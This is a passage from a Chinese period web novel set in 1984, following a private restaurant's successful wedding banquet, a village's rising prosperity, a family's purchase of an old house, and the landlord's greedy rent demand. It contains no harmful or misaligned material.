刘爱民没所谓地说:“日子是自己过的,我管他们怎么看。” 刘父气得连连跺脚:“你!你!你实在太不懂事了!” 刘爱民没空和他吵,径直走上前,饭店门口早有服务员等候,见他带人过来,极为热情地打招呼,笑着请客人们进店落座。 习惯了国营饭店服务员粗暴对待,在面对这样热情友好的服务时,刘家亲戚还怪不好意思的,连声地说:“你也坐,你也坐。” 服务员笑着说:“您太客气了,我还要给大家服务呢,就不坐了。” 刘家的婚宴摆了五桌,虽然不多,但饭店还是贴心地用屏风隔出了独立空间,特意布置的喜庆而热烈,到处可见红色的囍字。 新婚夫妻的同事朋友早已到了,赵计划作为刘爱民的铁哥们兼伴郎忙前忙后,在刘爱民不在饭店的这段时间替他招待来宾。 此时,早已入座的同事们也在议论婚宴。 “小刘看着不声不响的,倒是找了个好地方办婚宴啊。” “乌金年代可不便宜,也不知道一桌席面要花多少钱?” “女方是村里的,应该没出钱。小刘家里还挺舍得的啊,不是说他们家好几个儿子吗?” “这就不清楚了,说不定是爹妈偏疼呢。” 人们各有各的议论,当全部客人都到齐,刘爱民和服务员说了一声,现在可以上菜了。 乌金年代的后厨现在不止有费立广一个厨师,在贺明军转向管理后,就又招了几个厨师。 和之前大海捞针不同,这次有了费立广,他在乌城乃至整个塞北厨师界的人脉都很广,没多久就联络了好几个或是怀才不遇、或是在原单位不得志的厨师。 乌金年代的待遇好,对厨师限制小,来了就能一展抱负,还能和同行高手切磋,招聘一事进展得相当顺利。 如今,当同时要处理婚宴、散客的多线程任务时,后厨显得游刃有余,忙而不乱。 在主家通知开席后,不多时,一盘盘的菜就流水似的从后厨端了出来。 客人们还在稀奇这家饭店过分友善的服务态度,以及在开餐前给每人送来的一条热乎乎的擦手小毛巾时,浓郁的香味已经霸道地袭击而来,让人情不自禁地正襟危坐起来。 费立广的眼界高,能入他的眼的厨师都很有一把刷子,即使是婚宴这样的流水席,也能把菜做得让食客欲罢不能。 从凉菜到热菜,从作为点缀的素菜到作为压轴的大荤,像一首交响乐,在不露面厨师的指挥下,为到场宾客演奏出一曲跌宕起伏的大作。 白切肉肥而美,烧羊肉皮糯肉嫩,整只的肥鸡泛着诱人的光泽。 在场客人们吃得嘴上满是油光,连话都顾不上多说,开始还在抢着吃,一盘菜才放到桌上,数双筷子同时伸下去,一眨眼盘子就空了。 等到了后面,最能吃的大肚汉也被迫缓一口气,乘人不备时偷偷松一松裤腰带,撑得要从喉咙口溢出来,打嗝都是轻轻的。 “这个饭店的菜好得很,爱民眼光不错!” “是啊是啊,和国营饭店比起来也不差了,虽然是私人买卖,可这菜做的是真不赖。” “要我说,国营饭店的菜也就那样,第一次去还觉得好吃,去多了就没意思,还不如来这个乌金年代,服务员态度好,吃着舒心。” “说的也是,以前是没办法才去国营饭店找罪受,现在有了选的,谁还受那气!” 吃饱了的客人们三三两两聊起了天,新婚夫妻端着杯子满场敬酒,既是认人,也是面对面地接受来宾的祝福。 除了常规的白头偕老早生贵子的祝福以外,不断有人对刘爱民夸道“菜不错”、“饭店选得好”,把他高兴得忍不住多喝了好几口酒。 刘父有点别扭,特别是当听到有人说“国营饭店”也就那样时,他莫名有种自己被骂的感觉。 关系近的亲戚们来找他说话,不住地夸赞饭店选得好,席面也定得好,又让刘父面色缓和过来,脸上 多了笑,仿佛真是他的功劳一般。 有人问:“你怎么想起定这家饭店的?我记得你之前几个大的都是在国营饭店办的吧。” 刘父脸色一僵,强笑着说:“嗨,我哪懂这个,都是孩子们自己选的,想定哪家就定哪家,我们不插手的。” 对方夸道:“你们家可真民主!” 刘父干笑:“哈哈,哈哈,是民主,民主……” 最后一道汤端上桌时,原本打定主意不再吃的客人们,又忍不住拿起勺子端起碗,一边在心里默念“最后一口”,一边又给自己来了一碗。 白瓷缸里盛着一道清汤圆子,汤色雪白,肉圆浮沉,一弯碧绿,看着淡雅而恬淡。 半肥半瘦的猪肉斩成黄豆粒大小,加盐和鸡蛋清,捏成乒乓球大小的肉圆,放入沸水中滚上一滚,出锅前撒上一把嫩生生的萝卜秧。 这样清淡的菜系是北方所少见的,在北风渐起、落叶飘尽的深秋,给人以生机勃勃之感。 舀一勺肉圆,入口时弹香细嫩,入口酥化,肉圆咬破的那一瞬间,浓郁的肉香扑进口中。 再来一口汤,细腻而清淡,却不显得寡淡无味,忍不住喝完一碗,再来一碗。 客人们抱着肚子靠坐在椅子上时,看着满桌空空荡荡的盘子,讶异于竟然全吃完了。 要知道现在和前几年不一样,大伙儿生活条件好了许多,平时能吃饱,见了肉也不会像是饿狼一样扑上去,宴席上也开始出现剩菜。 但这次却吃得干干净净,原本准备收折箩的人双手空空,只能捡一些骨头回去喂狗。 宴席尾声,当客人们以为全部菜都上完时,服务员又端着几只鲜红的大碗过来,放在各桌中央。 刘爱民喝得有些多了,脸上红通通的,脑子倒还清楚,拦住服务员问道: “这是什么?我没点这个菜吧?是不是你们上错了?” 服务员笑着说:“您是我们饭店的老客户了,老板知道您今天结婚,特意让后厨做了八宝饭,祝您今后的生活甜甜蜜蜜。” 听到是小贺老板送的菜,刘爱民高兴得笑得眼睛都眯了起来。 其他送餐的服务员也在上菜时说了类似的话,一听这是饭店老板特意送给刘爱民的甜点,客人们露出艳羡的目光,这小子太有面子了吧,能让这么大一饭店的老板点名道姓地送菜。 八宝饭上了桌,冒着腾腾热气,糯米煮的雪白软糯,松软膨胀,衬着其中的桂圆、莲子、豆沙和红枣格外的色彩绚丽,看着就喜气洋洋。 应景的是,八宝饭顶端放了一个红艳艳的“囍”字,有人好奇,拿筷子把囍字挑下来,仔细观察后才发现是用山楂卷,也就是果丹皮雕刻的。 八宝饭里拌了白糖,又在出锅时浇了稀释的冰糖汁,吃起来香甜软糯,越嚼越香。 客人们努努力,硬生生从胃里挤出点空间来,给八宝饭腾出位置。 幸好盛放八宝饭的红碗是口大底浅的类型,桌上众人分一分,一人一勺就吃完了,意犹未尽的同时又忍不住连连庆幸。 要是真来一盆的八宝饭,只怕今天在场宾客通通要挂急诊去医院治疗消化不良。 一场宴席下来,宾主尽欢。 婚宴结束,送完客人后,刘父拍拍刘爱民的肩膀,在儿子惊讶的目光中,有点尴尬地说: “饭店选得不错……你成家了,也算懂事了。” 刘爱民骄傲地一仰头:“还用你说,我早就懂事了。” 刘父犹豫地问:“今天的席面这么好,你给厨师送了多少礼啊?” 刘爱民“嘁”了一声,说:“谁给厨师送礼?乌金年代是正经饭店,才没有国营饭店那些坏毛病。” 刘父暗自感叹,真是年代不一样了,搁以前,谁能想到办席面不需要给厨师送礼呢。 不过,虽然不需要单独给厨师送礼,但—— 刘父有点忐忑地又问:“结账了吗?花了多少钱?” 这么好的席面,得花不少钱吧?也不知道他准备的钱够不够…… 刘爱民说:“不用你付,我付得起。不过——” 在刘父庆幸的目光中,刘爱民狡猾一笑:“今天收的份子钱得全归我!” 第138章 第138章唱大戏与搬家 一场婚宴办下来,乌金年代打响了名声。 刘爱民的亲朋好友们对这家饭店印象极为深刻,原来服务员是可以好声好气说话的,原来办酒席是不需要给厨师单独送礼的,原来不需要倾家荡产就可以体体面面地办一场婚宴。 一传二,二传三,传得广了,大半个矿务局的人都听说了乌金年代这家饭店。 要在饭店办婚宴的人们在备选饭店名单上又填了一行名字,而原本打算在家里请客的,也开始考虑要不要改为饭店,花钱差不多,关键是省心还省事。 大概是最近宜婚嫁的黄道吉日真的很多,原本就生意兴隆的乌金年代如今更是门庭若市,婚宴订单甚至排到了半年后。 凡是在乌金年代办过酒席的人家,说起来都是赞不绝口,店里极给主家面子,当着客人的面又是送菜又是打折,让主家脸上大大有光。 听了这话的人不由得心生向往,想要亲自体验体验,看看这家饭店是不是真的像说的那么好。 结果,不体验也罢,体验后就要说其他人夸得都太含蓄,明明乌金年代比他们说的要好一万倍。 对于八十年代的人来说,“顾客是上帝”这句话就像上古神话传说,没听过更没见识过。 他们打小就没体验过友善热情的服务态度,遭人冷眼是家常便饭,不被服务员/售货员打骂就不错了,还想要什么自行车。 而如今,大伙儿在乌金年代感受到了前所未有的尊重,尽管和后世经过严格培训的服务业相比,还有些粗糙随意,但已经深深打动了他们。 群众的想法是质朴的,既然这家店好,那我就要多去这家店。 良性循环之下,乌金年代的生意越来越好,不管是工作日还是休息日,店里总是坐满了人,引得同行羡慕不已。 而坐落在楼上的单位兼房东,也逐渐将目光投向了这家生意过于兴旺的私人饭店。 有的丰收会滋生出贪婪,而有的丰收则会繁育出感恩。 许家村迎来前所未有的大丰收! 不仅仅是粮满仓,许家村的村民年收入首次达到三位数,创下周边村镇之最。 农民赚钱的门路少,加上前些年管得严,想要做点小买卖就会被“割资本主义尾巴”,把人强行拘在了土地上。 虽然手头有粮饿不死,但钱是没有的,想要攒点钱,要么农闲出去打短工,要么在集市上摆小摊。 一般农民一年到头能挣几十块钱就算很勤劳的,几百块想都不敢想,那可是笔了不得的大钱。 许家村之前也是如此,村民手头没钱,每到孩子开学要交学费书本费时就四处筹借,实在借不到,就只能把家里没长成的小羊小牛拉出去卖掉。 更多的人则是选择让孩子辍学,说起来就是供不起,家里确实也是没钱。 病是不敢生的,要是疼的太厉害了,就找村医开一点甲硝唑,止止疼就行了。 上医院看病要花钱,庄稼汉哪有那么值钱,熬一熬就过去了,要是没熬过去,那就是命。 这样的日子在现代人看来简直是一天都过不下去,可农村人祖祖辈辈都过着这样的生活,现在还能吃饱饭,不用打仗,也不用逃荒,是难得的好日子。 但人类总是本能向往着更美好的生活。 自从贺明珠稳定且大量地从许家村采购农产品,价格公道,结账及时,从没拖欠过一分钱,即使是最迟钝的村民也渐渐发现日 子好过起来了。 加上贺明珠还和许巧燕在村里开了一家粉条厂,招了好几个孤寡家庭的妇女,这些在农村生存链最底层的人也过上比之前更好的生活。 走街串巷的小贩是消息最灵通的一群人,比许家村的人都更早发现了这一点。 以前他们来村里卖的是最实用的针头线脑、锅碗瓢盆,还有来收头发的,剪刀锋利,咔嚓一下就将大姑娘小媳妇乌黑的大辫子剪掉。 而现在,小贩的推车和扁担上开始多了一些儿童玩具和廉价的小零食,叮叮叮的小锤敲麦芽糖的声音时有响起。 即使是最抠门的农妇,当被家里最小的孩子抱住了腿,嚎哭着要买一只拍屁股会叫的泥老虎时,也不是拎着擀面杖揍这小子一顿,而是骂上一通后,心不甘情不愿地叫住墙外的小贩,从摊子上挑一只个头最大、颜色最鲜艳的泥老虎。 许家村渐渐变得热闹起来。 一大清早,伴随着村口大喇叭里播放的东方红,街上渐渐响起各式各样的小贩叫卖声。 “磨剪子嘞——” “锔锅到,锔锅——” “绑好——风箱” “卖豆腐,卖豆腐,新鲜的豆腐——” 随着一天天过去,许家村的村民们的生活在不知不觉间发生着日新月异的变化。 家里那把钝得连纸都铰不动的老剪刀变得闪亮而锋利,墙角放着几把新扎的扫帚,用来生火做饭的风箱重新变得有力起来,橱柜里那些裂成几片还舍不得扔的碎碗和破盆重新被拼合起来。 大姑娘小媳妇再次蓄起长发,脸上搽了香喷喷的雪花膏,身上的衣服是扯了新布做的,看起来干净又体面,就是进城也不怵。 老太太则用桂花油将发髻抹得油光水滑,头发纹丝不乱,蓝布大褂洗的发白。 村里的男人们也开始注意起了个人卫生,隔一段时间就找剃头匠把头发和胡茬清理一遍,看着比之前利落多了。 日子变好了,人们自然而然就对生活环境有了追求。 村里原本满地都是鸡屎羊粪蛋,不知道什么时候被人铲得干干净净,连带地上的土都一并铲走,用来肥田。 当以前来过许家村的人再次来这里时,几乎认不出这个曾经贫穷落后的小村子。 这一切的改变都源自于一次外孙女过年回姥姥家。 作为带来改变的人之一,许大舅的村里的地位水涨船高,村人在路上见到他都要停住脚,热情地拉着他寒暄两句。 与此同时,村里的老支书年纪大了,时常生病,干不动工作,主动要求退休。 在全村人的支持下,许大舅顺理成章接任了村支书的职位。 他原本就是生产队长,对村务很了解,与村主任、村会计、妇女主任、民兵连长等村委干部都很熟悉,工作开展得顺畅极了。 许金财还想和许大舅争一争村支书的职位,虽然他家里兄弟多,势力大,普通村民不敢惹他,但在关系到全村的发展时,即使是最懦弱胆小的人也说不出许金财比许大舅更适合当村支书的话。 都是一个村子的人,谁好、谁差、谁能干、谁没用,乡里乡亲的,大家心里都有数。 许金财开砖窑是挣了大钱,可他挣的是丧良心钱,毁了好好的农田,干的是断子绝孙的勾当,村人在背后无不啐他。 许大舅就不一样了,处事公道,带着全村人一起挣钱,是全村公认的厚道人。 要是哪家父子兄弟、邻里之间闹矛盾,许大舅常常被请去出面调解,他威望高,众人都服气, 许大舅担任村支书的事,不仅是许家村人的共同意愿,而且也获得了乡上的支持。 自从推行土地承包制以来,乡里想在村里找到一位能干的村支书并不容易。 由于分田单干后,各家忙于自己的农活,管理村务要占用三分之二以上时间,耽误种地。而且村干部的收入低,工作辛苦,又容易得罪人,吃力不讨好。 因此,村里的能人都不乐意去当村干部,当村干部的往往是谋求私利者,此消彼长,村干部的素质有下降甚至恶化的趋势。 村支书是最小的官,俗话说“上面千根线,下面一根针”,各级政府下派的任务最后都要落在村支书身上来执行。 要是“对上顶不住,对下压不服”,村支书就形同虚设。 当时上报到乡上的许家村的村支书人选有两个,一是许大舅许国忠,另一则是许金财。 这两个人,一个是替村民做主的能人,一个是役使村民的村霸,虽然前者没送礼没走动,后者既托关系又找人,但最终,乡委班子里大多数人还是投票给了许大舅。 许大舅在担任村支书后,作为村里的一把手,他上任的第一件事就是号召村民兴修水利。 正是秋收后的农闲时期,村里拿出了一部分提留款作为报酬,半雇佣半自愿地召集本村青壮年,疏通全村的水渠,整修原本年久失修的水利工程。 有人不愿意把自家地里挖开的水渠恢复原状,固执地要占那么两三行庄稼的便宜,许大舅上门摆事实讲道理,得到充分灌溉的农田每亩地能增收二百斤,比占地更划得来。 他磨破了好几双鞋,嘴上起了无数燎泡,终于在上冻前,将全村的水利都整修一新。 秋冬的水位低,水渠里缓缓流过薄薄的一层水,不多时就被大地吸收一空,只剩湿漉漉的泥土。 许大舅却笑得开怀,等明年开春,村里的亩产量就要上升一个台阶,水利投入得值! 为了庆祝,许大舅自掏腰包,请了县里的戏班子来村里表演。 许家村有一个大戏台,是公社时期盖的,顶上挂着五角星,风吹雨打,原本鲜艳的红色变得暗淡。 许大舅提了油漆桶,许贵生搬来梯子,两个人连夜将五角星重新粉刷,明亮的红色,充满了希望。 大戏台荒废已久,后台长满了野草,戏台子里满是垃圾,角落里还有不知道谁家调皮孩子拉的屎。 村委组织了人手,把大戏台彻底打扫一遍,清洁一新,水泥地上撒了水,干净地反射着光。 村里人都期待不已,上到八十岁老太,下到三岁小娃娃,见了人就问:“唱戏的还有几天来啊?” 被问到的人就喜气洋洋地说:“快啦,快啦,没几天了!” 到了唱戏那天,来看戏的不只有许家村的人,周围几个村子,乃至县里的人都来了许家村。 大戏台前面人头攒动,熙熙攘攘的,比正月十五庙会的人都要多。 小孩子们三五成群,嬉笑而过,胆子大的扒在后台门口,偷偷看戏班演员上妆。 许大舅给班主递烟,两个人谈笑风生,落在某些人眼中,十分的刺眼。 许金财不忿道:“不就是请人来唱戏,谁不会啊?看村里那帮人那没见过世面的德行!” 许金财的兄弟附和道:“就是!花点钱的事,许国忠不知从村里捞了多少钱,拿出点钱找个没名气的戏班子,就让这群泥脚杆子上赶着拍马屁,怨不得一辈子种地!” 忽然,一声锣响传来,人群一静,穿戴完整的戏曲演员上台,一个亮相,引来下面一片的叫好声。 许金财兄弟的抱怨声一停,下意识侧耳去听。 戏班子是本地的,唱腔粗放,比不上京剧越剧黄梅戏的悠扬婉转,土归土,却很符合本地人口味。 许金财兄弟一时听得入迷,忘了要骂人,等反应过来时,脸上挂不住,你一言我一语地抢着骂: “什么破戏班子,唱的是什么玩意儿,根本比不上邓丽君!” “就是!谁听这老掉牙的玩意!把收音机给我打开!” 这时,许金财突然想起来,骂了这老半天,家里人呢? 他扯了一个家里的帮工,问其他人都哪儿去了。 帮工急着去看戏,快速地说:“你们家老太要去看戏,你爹妈带着媳妇娃娃 们一起去了!” 话说完,帮工一溜烟就跑了,只留下许金财像被雷劈了似的站在原地。 许家村的一场大戏才刚开场,另一边,贺家也迎来了收获的时节。 在一家五口挤在两间平房近两年后,贺家终于搬家了! 新房子虽然不是矿务局分配的楼房,但也和矿务局有着千丝万缕的联系。 一户人家在排队多年后,终于被分配到了有电有自来水还有暖气的楼房,不需要倒马桶,也不需要挤公厕。 这家人口不多,住两室一厅的新房绰绰有余,加上家里急用钱,就想着将老房子卖出去。 这年头还没有全国开放房屋自由交易市场,虽然允许私人建房买房,实行住房商品化,但对绝大多数人来说,买房还是一件很困难的事。 贺明珠也是机缘巧合之下得知有人要卖房的消息。 她当机立断,亲自找上门,把要出售房子的里里外外都看了一遍,当场交定金,三天后到房管所办理了房屋过户手续。 期间不是没有人来看房子,但大多卡在了价格这一关。 房主咬定了要一万块才肯卖房子,但此时北京的楼房每平米才150元,即使这套平房占地面积颇大,连房带院加起来足足有五百平,但这个价格还是让大多数人望而却步。 贺明珠爽快地付清了钱,在房管所打了一张崭新的房本和土地使用权证,拿下了这套房。 当那家人欢欢喜喜地将钥匙交到贺明珠手上时,还有想来买房子的人找上门来,得知自己晚了一步后,懊悔得捶胸顿足。 直到贺明珠把房本和钥匙拍在了桌上,贺家其他人才得知了买房的消息。 贺小弟连声问贺明珠:“姐,我不想和二哥一起睡了,有我的床吗?” 贺明军“喂”了一声,贺小弟不理他,眼巴巴地瞅着自家亲姐。 贺明珠乐得不行,说:“有,岂止是床,你以后就有自己的房间了。” 贺小弟兴奋地在地上直蹦,高兴地喊着:“我有房间了,我有房间了!” 贺明国的关注点不同:“你花了多少钱?我补给你,不能让你自己出钱。” 齐家红也说:“你大哥说得对,你还是孩子,怎么能让你一个人出钱呢?” 也就是自家大哥大嫂还拿她当小孩看,即使明知贺明珠是全家最有钱的人,不缺买房的钱,也不肯占她的便宜。 贺明珠狡猾地说:“谁说买房花的都是我的钱?我可不是这种默默奉献的人。买这套房时,咱们全家都出钱了,就连小弟也有份。” 贺小弟迷茫地指向自己:“我吗?” 除了每年的压岁钱,原来他还有别的钱,怎么他自己不知道呀? 面对全家不解的目光,贺明珠笑眯眯地说:“你们忘了存在我这里的分红吗?” 贺家人这才恍然大悟。 之前贺明珠要将饭店的收益按比例分给家里人,贺家人不肯收,就一直没能分红。 这次买房时,贺明珠索性就用了分红的钱,这样说起来也是全家出钱,就不信他们还有话说。 听到贺明珠的解释,贺明国果然哑口无言,总感觉似乎哪不太对。 贺明军拍拍他的肩膀,说:“行了,老大,别想那么多,小妹也是一片好心,你就听她的吧。” 贺明国反问:“你也听?” 贺明军扬眉:“当然,我可是个好哥哥,做不出让妹子不痛快的事。” 贺明国简直想呸他一口。 这话说的,好像他成心想让自家妹妹不痛快似的。 买房的事就这么说定了,接下来贺家全体忙起了装修和搬家的事。 这套房子盖得极早,是五十年前的房子,当时正值抗日战争时期,乌城沦陷,作为重要的煤炭资源城市,大量日军驻扎此处,还有不少随军的日本商人。 这些日本侵略者打着在乌城殖民的主意,想要长长久久地占据这座煤炭之城,在靠近矿山的位置修建了不少军事堡垒和民用建筑。 其中,就包括了贺家买的这栋房子。 据说这栋房子最初的主人是日本某个株式会社的负责人,盖房时舍得用料,房屋盖得扎实极了。 即使过去了五十年,历经战争和岁月的摧残,这座房子的主体结构依旧完好无损。 房子的地基垒得很高,超过地面近一米,而进门后却做了下沉式设计,日式风格的庭院中错落有致地坐落着五幢面积颇大的平房。 与中式小院讲究形制规整、中心对称不同,这套房没有传统意义上的堂屋和厢房,各房子的布局相对独立,私密性较强。 而贺明珠正是看中这一点。 再亲密无间的兄弟姐妹,也需要一些独处的空间和时间。 不过,虽然房子买到了,但距离入住还差得远。 这套房主体结构是好的,但内里装修已经糟践得差不多了,原本静寂禅定的日式风格早已不见踪迹,地板被撬走作柴火,木格障子门破破烂烂,房顶漏雨,属于室外下小雨,室内下大雨。 想要把房子修成能住人的状态,要花大功夫。 于是,从夏末到深秋,贺家都在忙装修的事,连贺小弟都戴上了报纸叠的帽子,像模像样地拿着刷子在墙上比划两下。 终于,在第一场雪落下时,贺家搬进了新家。 在搬家前,贺明珠去矿务局的电信营业处申请自费安装住宅电话。 营业处的工作人员还是第一次受理这项业务,惊奇不已,甚至都不知道手续要怎么办,现场联系上级单位,在上级单位派来的业务员的指导下,才一步一步地将住宅电话初装业务办了下来。 要知道现在是1984年,全乌城也没几户人家安装住宅电话,绝大部分电话的用处是办公,安在各厂矿机关。 普通人想要打电话,大多去小卖部,要是想打长途电话,还要去邮局排队,一排就是大半天。 贺家之前留的都是小卖部的号码,如果有电话打给贺明珠,小卖部老板就在巷子口扯着嗓子喊:“明珠,明珠,谁谁谁有事找你,快过来接电话!” 这么一喊,半条街都知道谁要找贺明珠了。 有时候贺明珠不在家,电话传递得不及时,就会耽误事情。 就像上次贺小弟失踪,贺明国连夜骑车从分矿赶回来后,才得知已经贺小弟安全的消息。因为当时太晚了,小卖部已经关门,贺家人没有办法及时告诉贺明国。 要是贺家有电话,就不用让贺明国冒险在运煤卡车川流不息的公路上连夜骑车回家。 因此,贺明珠打定主意要在新家安装电话,即使要一次**纳五千块的电话初装费也在所不惜。 当贺家安装了新电话,贺小弟对电话机喜欢极了,不断拿手指去扣弄号码转盘的小孔。 此时电话还是有线座机,使用拨盘式的机器,按“1”只需拨一下转盘,而按“9”和“0”就要转一大圈,拨多了转盘,手指都要卡得生疼。 贺小弟从前只在小卖部见过电话机,有老板看着,他不敢随便乱动。 如今自己家也有了电话,他兴奋不已,自从电话安好,已经抱着玩了小半天,也不知在玩什么,一副爱不释手的模样。 贺家人也都纵着他,放手让他去满足好奇心。 齐家红嘱咐了一句:“小心点,别把插头拔出来了,要不然我们就接不到电话了。” 贺小弟乖乖地将罩帘盖在电话机上,说:“我没动,就是看看。” 电话机罩是齐家红用毛线勾的,话筒上还套了一层,保护得严严实实。 这年头流行给家电穿衣服,贺家也不例外。 除了座机,齐家红还给家里的电视机和冰箱做了布罩,平时不用的时候就盖起来,防止落灰。 电视用了一年,还 跟新的似的,绿色的冰箱里外也都没有一丝污迹。 贺小弟捧着下巴盯着电话机看,心里想着,什么时候电话会响啊? 说起来邪门,有些事就不经念叨。 就在此时,叮铃铃,叮铃铃,贺家的电话突然响了。 贺小弟迫不及待地抓起话筒,像模像样地“喂”了一声,可听着听着,他脸上露出茫然的表情。 贺明珠听到响动,走过来问他:“怎么了?有人打电话?” 她顺手从贺小弟手中接过话筒,但电话那头传来的是忙音,对方已经挂断了。 贺明珠就又问:“谁打的电话,说什么了?” 贺小弟看看姐,疑惑地皱起小眉头,说:“不知道是谁,就说房子不租给咱家的饭店,说完就挂了——姐,这是谁呀?” 贺明珠眯起眼睛,她已经有答案了。 第139章 第139章营业额的百分之十?…… 做生意是件麻烦事。 生意做不好,赔钱亏本;可生意要是做太好,又容易招人眼。 这不,乌金年代才在矿务局打响了名声,就遇上了房东要毁约的事。 房东是矿务局生活服务公司,在改革开放前,矿务局内上到旅馆照相馆,下到浴池理发馆,甚至是婚丧殡葬事宜,都是由这家单位负责运营管理。 换句话来说,矿务局群众的日常起居离不开生活服务公司。 因此,生活服务公司在矿务局是数一数二的好单位,只要能把自己塞进去这个单位,就能在生活的各个方面都能给自家亲友提供便利。 但随着改革开放,国家放开了对私人经营的限制,一夜之间,街面上出现了无数和生活服务公司抢生意的小商小贩。 国营理发店旁边开了一家私人理发馆,女士烫头的价格只要五块钱,而且用的还是目前最先进的电热帽,只要在头上夹好卷子,在椅子上坐几个小时就能完成造型,烫出的头发弯弯卷卷,很长时间都不会变直。 而与此同时,国营理发店还在使用火钳,烫发时滋啦作响,冒出一缕缕白烟,还能闻到头发被烤焦的气味。 相比之下,客人们自然更乐意选择私人理发馆。没过多久,国营理发店就越来越冷清,只有一些怀旧的老人还愿意来这里。 相似的情况还出现在生活服务公司下属的其他店铺,营业额以夸张的速度断崖式下跌。 以前没有竞争对手时,生活服务公司的日子是很好过的,躺着也能挣钱;可现在竞争对手像雨后春笋般冒出,生活服务公司的日子就变得难过起来了。 仅仅几年过去,原本富裕得可以每年组织职工公费旅游的生活服务公司就沦落到要出租办公楼的一层的地步了。 而且还因为短视,将房子出租给了皮包公司,连带着房子的名声也变臭了。 论理来说,能遇到乌金年代这样不仅按时交房租、而且扭转了房子名声的优质租客,生活服务公司高兴还来不及,为什么反而要毁约收房呢? 这就要怪乌金年代实在太赚钱了。 之前虽然乌金年代的生意也很兴隆,但由于接待的都是散客,每桌的消费金额有高有低;加上菜品直接从村里采购,成本不算透明,估算起饭店的毛利润还有些难度。 但随着现在越来越多的人选择在乌金年代办酒席,情势就大不相同了。 店里每桌席面的价格定为二十五元,菜品是四凉四热四过油四大菜,共计十六道菜,虽然会因主家要求而对菜单进行调整,总成本的变化不会太大。 因此有心人只要算一算每天饭店里摆席的桌数,再减去毛估的成本,就能大致得出饭店一天的营业额了。 不算不知道,一算吓一跳。 饭店一天挣回来的钱就能轻松覆盖一个月三百块的房租,剩下的都是纯利润。 生活服务公司这下坐不住了。 原本以为他们定的租金已经很高了,相当于普通工人半年的工资呢,但没想到,相比于饭店的利润,这点租金根本不算什么。 生活服务公司的领导们紧急开会,商量要不要涨租金。 毕竟要不是房子的地理位置好,位于矿务局的繁华地段,乌金年代也招揽不来这么多的客人。 这个说要把租金涨到六百块,那个说六百块太少,至少要一千块。 还有人突发奇思妙想,说应该每月收取饭店营业额的百分之十作为租金。 此话一出,众人先惊后喜,要是按提成收取租金可比固定金额的租金要高得多,纷纷赞叹起来。 有人觉得不对劲,弱弱提了一句:“饭店不会同意吧……” 立刻有人就说:“他们敢不同意!要是不同意的话,咱们单位马上就收回房子,不租了,让饭店关门滚蛋,他们全得喝西北风去!” 这次会议获得圆满成功,第二天,生活服务公司派人来通知乌金年代,从下个月开始,房租要按饭店营业额的百分之十来收取。 除此之外,为了防止乌金年代虚报营业额,他们还要求每月派会计来店里查账。 当时饭店里是费立广在管事,听了来人的话,他当场就说: “你们单位穷疯了吧!” 来人没想到这个老厨师说话居然这么难听,瞠目结舌:“你怎么说话的!” “老子就这么说话,爱听听,不听滚。” 费立广像赶苍蝇似的挥了挥手:“走走走,我们这是开饭店的,不是开银行的,穷疯了来饭店抢钱,你们单位特娘的有病吧!” 来人气得威胁道:“信不信房子不租给你们了?” 费立广不耐烦地说:“随特娘的便,爱租不租,早看你们单位的不顺眼了,成天来我们店里找事,就这还好意思说是公家单位呢。” 来人被气走了,临走前指着费立广鼻子说:“行,你等着,我看你是不是能一直这么嘴硬!” 费立广嗤了一声:“等着就等着,你当老子是吓大的啊!” 饭店开门做生意,难免人来人往,楼上的生活服务公司嫌吵,来找过许多次。 最后是贺明珠拍板,以后生活服务公司的人来店里吃饭打八折,这才让对方满意离开。 费立广脾气差又记仇,因此事对生活服务公司非常不满,要是他们喜欢清净,当初为什么要把一层租出去呢? 加上生活服务公司的人来店里吃饭时表现得非常倨傲,颇有一种皇帝下凡视察民间之感,不是批评服务员,就是指责厨师,鸡蛋里挑骨头,把费立广气得够呛。 要不是贺明珠总说什么“不许打骂顾客”、“顾客是上帝”之类的话,听得费立广耳朵都起茧子了,他才不会忍这帮人,直接就脱了厨师服、操起菜刀,和这帮王八犊子干上一架,看他们还敢不敢来找茬。 如今生活服务公司主动上门要求涨租金,还是离谱的要按营业额的百分之十来收取——哪怕计算基数是净利润,费立广都没这么生气。 要知道营业额还包含了成本,一千块的营业额能有二百块的净利润就不错了。 要是按生活服务公司的算法,饭店每一千块的营业额就要交一百块的房租,相当于乌金年代一半的净利润都要上供给房东。 这怎么能让费立广不生气呢? 把生活服务公司的人赶走后,费立广平息了火气,把这件事告诉了贺明军。 贺明军在得知后,惊讶,又不太惊讶。 随着一年租期将满,他猜到生活服务公司会和饭店来谈谈涨租的事,但没想到对方这么贪婪,一整个狮子大开口,要吞掉店里一半的利润。 这种续租条件肯定是不可能的,连谈的必要都没有。 费立广当时的反应虽然粗暴,但歪打正着,正好给了他们迎面一击。 贺明军打算冷一冷生活服务公司,要是上赶着去谈租金的事,就显得饭店坐不住,急着要续租,反而使自己处于谈判中的不利地位。 饭店这边越是不急,生活服务公司就越会忐忑。 这是贺明军在这段时间的管理工作中的心得。 不是所有的事情都需要快刀斩乱麻,有时候,慢一慢反而会获得意想不到的惊喜。 对于一向像是揣了团炭火似的风风火火的贺明军来说,这与他的火爆脾气完全相反。 如果之前有人对贺明军说你应该慢下来、冷静一些的话,他只会当耳旁风; 可现在,贺明军却开始主动放缓脚步,以更加冷静,也更加理智的视角来看待世界,看待自己。 对于生活服务公司离谱的涨租要求,要是放在从前,贺明军当时就要冲到楼上,和他们吵上一架;然而如今,他却气定神闲地等着生活服务公司的反应。 而生活服务公司也确实炸开锅了。 “你说什么?乌金年代不仅不同意涨租金,还骂我们单位?!” 听到被派去通知涨租的人回来后添油加醋的转述,生活服务公司的领导们都被气到了。 被派去的人说:“对!就是那个老厨子骂的人!他说早看我们单位不顺眼了,说我们穷疯了,来饭店抢钱!” “这人怎么说话 的,还有没有素质?!” 一个中年领导怒道:“一个厨子而已,居然敢这么说我们单位!” 对于生活服务公司的人来说,骂别的也就算了,骂他们“穷”是最不能忍的——毕竟生活服务公司现在是真穷,连职工的工资都快发不出了。 要是生活服务公司一直都穷也就算了,偏偏之前尝过富裕的滋味,在八十年代的北方内陆都能吃到新鲜的海鲜,现在却只能忆往昔。 同一家单位前后贫富差距太大,正常人都受不了。 费立广的话戳中了这个单位最敏感的痛点,立刻就引发了所有人的同仇敌忾。 “不租了!区区一个饭店,有什么了不起的?” “就是,租给谁也不租给他们!” “让饭店赶紧搬走,赶明儿换人来租,我就不信了,我们房子这么好的位置,想租的人排队得从一矿排到十二矿,还轮不到他们呢!” 有理智的人提醒了一句:“租期还没到呢,还有两个多月才到期。” 